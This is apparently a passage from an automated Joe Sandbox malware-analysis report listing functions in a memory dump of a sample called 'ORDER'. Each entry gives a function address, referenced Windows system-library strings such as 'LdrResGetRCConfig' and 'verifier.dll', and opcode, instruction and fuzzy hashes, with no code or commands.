String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 0-1388552009
Opcode ID: 15fcfbf923095ffdd405cd8e6346c075ee3675ca513ed700b4b315311f2410d4
Instruction ID: 4df201f539901c8ffaa873d294f32a5e6e570f27a0d3a8fbc5c0881509df8c56
Opcode Fuzzy Hash: 15fcfbf923095ffdd405cd8e6346c075ee3675ca513ed700b4b315311f2410d4
Instruction Fuzzy Hash: 5D6133B5C41218FFDF11DF94D888ADEBBB8FB49704F50406AE904A7240DB359A86CFA0

Function 3243F640 Relevance: 2.7, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

$, xrefs: 3243F780
$, xrefs: 3243F716

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$
API String ID: 3446177414-233714265
Opcode ID: a6a96a19822cb1622e528f988d3e0db3c3594c24770777d7d9cdc2e9f8f906d4
Instruction ID: b4ed7f03b716e0f4c857e058f4f00f109d9bf5af5c0c42bf4188a256b9cc3211
Opcode Fuzzy Hash: a6a96a19822cb1622e528f988d3e0db3c3594c24770777d7d9cdc2e9f8f906d4
Instruction Fuzzy Hash: A561CD75A02B49CFEB26CFA8C580B9DB7B1BF48708F11446DD6156B780CBB5B991CB80

Function 324B314A Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

LdrResGetRCConfig Enter, xrefs: 324B317C
LdrResGetRCConfig Exit, xrefs: 324B318E

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
API String ID: 0-118005554
Opcode ID: bebe6f4772e1703f5e48e071f17d8f550b11d7098b177ef87c3f6273212aae9c
Instruction ID: 056a7f8987218a8fe7b68e1f768f94b92fd1502c35e7cfe7c0991392908d1b7e
Opcode Fuzzy Hash: bebe6f4772e1703f5e48e071f17d8f550b11d7098b177ef87c3f6273212aae9c
Instruction Fuzzy Hash: 643112752093809BDB06CF6AD840B1ABBE8EF88714F04085DFC948B380FBB5D905C7A2

Function 324206CF Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

A2, xrefs: 32420739
A2, xrefs: 32420733

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: A2$ A2
API String ID: 0-8981658
Opcode ID: 80e406ccf7f59af3e732fe8035aa0e187e2cebe3780998cf8f2304ce38f0a349
Instruction ID: ecad91d86fe7fb16c77bf6a1f1f018fc7a7ec357928cf1fcd054d294fb57970a
Opcode Fuzzy Hash: 80e406ccf7f59af3e732fe8035aa0e187e2cebe3780998cf8f2304ce38f0a349
Instruction Fuzzy Hash: 1A31CE36604B429FD716DE2AC890A9BBBE5AFE86A0F014569FC1597310EE30DC05CFA1

Function 324533D0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 3249289F
RtlpInitializeAssemblyStorageMap, xrefs: 3249289A

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 0-2653619699
Opcode ID: f8c9c940898a4e1ce41bf3701793f97c88b1a0eff276b5e3cb104ced528ffeae
Instruction ID: c411f72dfe0477e0f864d9b337ad777592a0340fe34ec2b09e5115d4281d9c42
Opcode Fuzzy Hash: f8c9c940898a4e1ce41bf3701793f97c88b1a0eff276b5e3cb104ced528ffeae
Instruction Fuzzy Hash: FD112576B00215BBF71ACB48CD40F9B7BA8DB89754F20807DBA04EB344EAB4CD4186A0

Function 3245A4F0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

Cleanup Group, xrefs: 3245A504
Threadpool!, xrefs: 3245A509

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: InitializeThunk
String ID: Cleanup Group$Threadpool!
API String ID: 2994545307-4008356553
Opcode ID: 845e383a3cd3e1aec9477b6915e354cf88011ee4e191ad76b99004f13386e785
Instruction ID: 9f3347aceb4862e6ea44f8db6bc5a2d1c32e32bcd34d1e94cd7feedddd6c1b62
Opcode Fuzzy Hash: 845e383a3cd3e1aec9477b6915e354cf88011ee4e191ad76b99004f13386e785
Instruction Fuzzy Hash: 0501DCB2151744AFE311CF24CD05F2277E8EB44759F148979F698C7590EB34EA44CB46

Function 3242C6E0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON

Download Yara Rule

Strings

MUI, xrefs: 3242C7E3, 3242C960

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 41b384144e809021e667e9f67ccf87e3c0ac747c2295e0b7267d877e4f7f228d
Instruction ID: 04d1ec0ad4d8acf45584f64963dfdad76360d1253476b11ea6aaeea29a7f922d
Opcode Fuzzy Hash: 41b384144e809021e667e9f67ccf87e3c0ac747c2295e0b7267d877e4f7f228d
Instruction Fuzzy Hash: 1E823A79E00318DFEB14CFAAC980BADB7B1BF48354F118169D859AB390DB719986CF50

Function 324264F0 Relevance: 1.9, APIs: 1, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec509a5a79ccc90ecc4a38ccfc352013d63c7753aaef1743e8ea301342c0ba7d
Instruction ID: e3a88a77e15430bf8bcfd609c48d1638ed270f328420166eb6112172efb15e1c
Opcode Fuzzy Hash: ec509a5a79ccc90ecc4a38ccfc352013d63c7753aaef1743e8ea301342c0ba7d
Instruction Fuzzy Hash: C4E19A75609342CFD304CF29C090A5ABBE1FF88358F448A6DE99987351DB71E946CF92

Function 32421051 Relevance: 1.8, APIs: 1, Instructions: 259timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32421153

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 8d02f3630ca404807e12f6688646889bdf264aa0dcfc598f52b4ca75e322a788
Instruction ID: 13049436adabe76ecaab55ff8476ea631579128838139a58f993111224a0f057
Opcode Fuzzy Hash: 8d02f3630ca404807e12f6688646889bdf264aa0dcfc598f52b4ca75e322a788
Instruction Fuzzy Hash: 64B102B55093808FD355CF28C480A5AFBF1BF88708F14496EF8A99B352D771E985CB82

Function 3242254C Relevance: 1.6, APIs: 1, Instructions: 119timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32422630

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 55f15c8dca8bff6975ad2adac6428454b68092fe599eb539f175ea3048884b4d
Instruction ID: 0a2c909ac37fca6931d1bfe90c0a8126a4c1829a1543fa3a04479adac0ec3b81
Opcode Fuzzy Hash: 55f15c8dca8bff6975ad2adac6428454b68092fe599eb539f175ea3048884b4d
Instruction Fuzzy Hash: F041A275502708DFE725CF25C950B89B7F5FF48364F11859ED4169B290DB70AA82CF41

Function 324A0443 Relevance: 1.6, APIs: 1, Instructions: 114timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 324A04BC

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 11db1f83b443b9d827145396165661551afe946bf5fa2ac3a459bb7325d5260a
Instruction ID: a6bbbd27e3b898073ae1f8d2cf9ad5c3e36fe9247261f7a1b0fae8620960282d
Opcode Fuzzy Hash: 11db1f83b443b9d827145396165661551afe946bf5fa2ac3a459bb7325d5260a
Instruction Fuzzy Hash: 5D416DB1509351AFD760DF24C844B9BBBE8FF88754F008A2EF998D7250D7709945CB92

Function 32424779 Relevance: 1.6, APIs: 1, Instructions: 111timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32424817

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 42d5fc06bf4ffb6be799df0cee07c5bac487b305d2cd58ff4ee16e3df659aa47
Instruction ID: 4c60e34fc1594a8c5081e9b9185042ab98d89f868990381c8d4cc1de45238aa6
Opcode Fuzzy Hash: 42d5fc06bf4ffb6be799df0cee07c5bac487b305d2cd58ff4ee16e3df659aa47
Instruction Fuzzy Hash: 8E4115796113818FD715CF2AE894B2ABBE9FF84794F00442DE9418B3A1DB70D991CB91

Function 3241B420 Relevance: 1.6, APIs: 1, Instructions: 100timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3241B4AC

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 70b597c9d314635f56b30572903a909660dd05e405e726964c3076bbf106436c
Instruction ID: 87527231b2571e3c37be2630474cbae76c8475df7d4a1a2997ab8ac711c23c60
Opcode Fuzzy Hash: 70b597c9d314635f56b30572903a909660dd05e405e726964c3076bbf106436c
Instruction Fuzzy Hash: 5E312172541204AFC711CF14C881A9A77A9EF587A4F10826DEE559B391CB71FD82CBD0

Function 324256E0 Relevance: 1.6, APIs: 1, Instructions: 92timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32425762

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: d798e9a6304e5158989d22ca47c0d124456a92fa4067f3b53f166c1cd1161301
Instruction ID: 2be73ec40f68206ed3061251ebe5212cb6394f55fb0c3c39d58acf5137351b63
Opcode Fuzzy Hash: d798e9a6304e5158989d22ca47c0d124456a92fa4067f3b53f166c1cd1161301
Instruction Fuzzy Hash: AB31BE39625B05FFE75A8B25CA80B49BBA5FF88740F406059ED0087B50DB72E871CB80

Function 324CE750 Relevance: 1.6, APIs: 1, Instructions: 91timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 324CE7B1

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 3103f936cca0448af0a3c086422e4ae371333f76e8900dbe029092d9e402c895
Instruction ID: 16c27d0039e14e1873143ada6ee64aead13485db1a32d76d7c25da7b1de780d4
Opcode Fuzzy Hash: 3103f936cca0448af0a3c086422e4ae371333f76e8900dbe029092d9e402c895
Instruction Fuzzy Hash: 34317AB960A311AFDB01DF19C54094ABBE1FF89354F0489AEE4889B241D730EE45CBA2

Function 324AA130 Relevance: 1.5, APIs: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 324AA19A

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: a3c903e3c0716ab5917e27d6820075f75fe7778e89e4532ee2412a7efc593cec
Instruction ID: 41b24b90d7be146b2f0c36f7e4bfb1cb788e0bc2b487dacd41b3c07a20ae244d
Opcode Fuzzy Hash: a3c903e3c0716ab5917e27d6820075f75fe7778e89e4532ee2412a7efc593cec
Instruction Fuzzy Hash: 7101973A141259ABDF038F84CC40ECA3F76FB4C794F068205FE1866220C636E9B1EB80

Function 324192AF Relevance: 1.5, APIs: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 324192D5

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: c88c5af925be969975b4a026f31e321e5b0a995e9472e2d4f61aaf110e2a5fe6
Instruction ID: 81a175886c01e6acc7e27687f49b04b53f0a9ed9e9e7121754393fff929181df
Opcode Fuzzy Hash: c88c5af925be969975b4a026f31e321e5b0a995e9472e2d4f61aaf110e2a5fe6
Instruction Fuzzy Hash: 1EF09A32240644ABD7329B59CC04F9BBBEDEF88B10F18091DE94693591DAA1F949C6A0

Function 324302F9 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#%u, xrefs: 32484B8F

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: #%u
API String ID: 0-232158463
Opcode ID: 06fea7288da7432f00a988ddc3615aa776dbbe36326e531b03cd21c653a4d293
Instruction ID: 21c1d75869862c23252e6ec8d7c0e5c9cde4e3cfa62039187fe710a4163c9c7f
Opcode Fuzzy Hash: 06fea7288da7432f00a988ddc3615aa776dbbe36326e531b03cd21c653a4d293
Instruction Fuzzy Hash: 2F716C75A012099FDB06CFA8D980FAEBBF8EF08704F154169E901E7351EB74E951CBA0

Function 324AF42F Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

@, xrefs: 324AF4E7

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 0e4d86630a386b8f0ee95cbc791cb6cfa863951187bd10246e05daf9d94b3189
Instruction ID: d234d34790914dac895ff6118c8b5f8bd04e7569aebab45d73301f6b075e8f46
Opcode Fuzzy Hash: 0e4d86630a386b8f0ee95cbc791cb6cfa863951187bd10246e05daf9d94b3189
Instruction Fuzzy Hash: EB518BB2505341AFE7228F14C850F6AB7E8FF94B58F41492DFA4097290DBB6D905CB91

Function 3243E547 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

EXT-, xrefs: 3243E5C4

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: EXT-
API String ID: 0-1948896318
Opcode ID: 2d25e69620a967bef87a86a7b48e04750a8054ef55352682fc21499bc17d50f1
Instruction ID: c5e6a5ba559abea602d0c53ad3b7b016254e8101124409047113b5e55603df9f
Opcode Fuzzy Hash: 2d25e69620a967bef87a86a7b48e04750a8054ef55352682fc21499bc17d50f1
Instruction Fuzzy Hash: 2A41A17261A3019BE712CE61D844B5FB7D8AF8CB18F80492DF684D7281EB74D914C7D2

Function 324541BB Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

@, xrefs: 32454220

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 482cbe836787e56e0ae69a8e8a756463e9fed16744ca77c27acd2c9d738f837a
Instruction ID: eefe5cedcdfd18441b31094a1c14e75e9321951efc53572b394938acf76e2c26
Opcode Fuzzy Hash: 482cbe836787e56e0ae69a8e8a756463e9fed16744ca77c27acd2c9d738f837a
Instruction Fuzzy Hash: 5B51AD71505710AFD321CF19C841A6BBBF8FF48754F00892EFA959B6A0E7B4E914CB91

Function 3249C3B0 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

BinaryHash, xrefs: 3249C3FF

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: 0b6de395f07541630bd99b18f6054588e14577fc0342c1af146edbf80fa49c8b
Instruction ID: 9c8c157dd654fc982f8e5656a0ad3682acf10c16c64689c66e04d3800cacfbc8
Opcode Fuzzy Hash: 0b6de395f07541630bd99b18f6054588e14577fc0342c1af146edbf80fa49c8b
Instruction Fuzzy Hash: CA4147F190052DAFDB21DA50DC80FEEB77DAB45718F0085E9E608AB141DB749E888FA4

Function 324207A7 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

A2, xrefs: 324207A9

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: A2
API String ID: 0-3049842896
Opcode ID: 9216b7fdba965d01a4782c9da82bc9d0dce9065d2741e3fc957647849f69ad73
Instruction ID: 614fae313539115804409e5321fa74ac2f28174c42945a65d86a80171fb54b9e
Opcode Fuzzy Hash: 9216b7fdba965d01a4782c9da82bc9d0dce9065d2741e3fc957647849f69ad73
Instruction Fuzzy Hash: 9E41B3B16017019FE329CF2AC880A13B7F9FF58318B509A6DD556C7A50EB70E896CB90

Function 324A9429 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

verifier.dll, xrefs: 324A94F0

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: verifier.dll
API String ID: 0-3265496382
Opcode ID: 414234dab34b5fd51d74e838051b3ce8061982dea58ef401d1be37f8294811b9
Instruction ID: cc4a3c136e582c861b4e021a8f2138cf15a275682a85e3d0b1d5262019b64e4d
Opcode Fuzzy Hash: 414234dab34b5fd51d74e838051b3ce8061982dea58ef401d1be37f8294811b9
Instruction Fuzzy Hash: 6C31E8B6740301AFEB158F5CD861B6673E5EBAC354F90842AEA08DF381EA71CD81C750

Function 32457425 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

#, xrefs: 3249442D

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 6965cac1e13bd5fab6b18dc40a87e1d3c4b851185aea300bbcdbc7d08ff272ce
Instruction ID: 0d398a95122a47ebe01f1e1168755be992b230a9e4764406c83b04ae2dbce4f2
Opcode Fuzzy Hash: 6965cac1e13bd5fab6b18dc40a87e1d3c4b851185aea300bbcdbc7d08ff272ce
Instruction Fuzzy Hash: C241D075A00619EBDF15CF88C980BBEBBB4FF46745F10806AE985A7300DB34D982C791

Function 3245360F Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

Flst, xrefs: 32453651

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: Flst
API String ID: 0-2374792617
Opcode ID: 934411a7d347f35b2207ed64bbfa0bae18d2724e2f13a4d2e3ab541c99e83d69
Instruction ID: 69d20f80d26a07ef652854fb3925402925ed2d3e2c286bd2f3de66e974162495
Opcode Fuzzy Hash: 934411a7d347f35b2207ed64bbfa0bae18d2724e2f13a4d2e3ab541c99e83d69
Instruction Fuzzy Hash: E341ABB5605301DFD315CF18C080A56FFE4EB49B18F60856EE898CB341EB71D986CB91

Function 3249C6F2 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

BinaryName, xrefs: 3249C722

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 75e9d871f3bdb3a0ff9592d20eecb11a4683a21ce50ea2d9bf565a22528db7ab
Instruction ID: 067f1bd930e2e3980cc9f7506b8d00c048b32fde753da25465930de6dda61c9b
Opcode Fuzzy Hash: 75e9d871f3bdb3a0ff9592d20eecb11a4683a21ce50ea2d9bf565a22528db7ab
Instruction Fuzzy Hash: 8931087A900A0AAFEB15CB58C845EEFBB74EB89B54F0181A9E900A7250DB319D00C7E0

Function 324531BE Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

@, xrefs: 3245322D

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
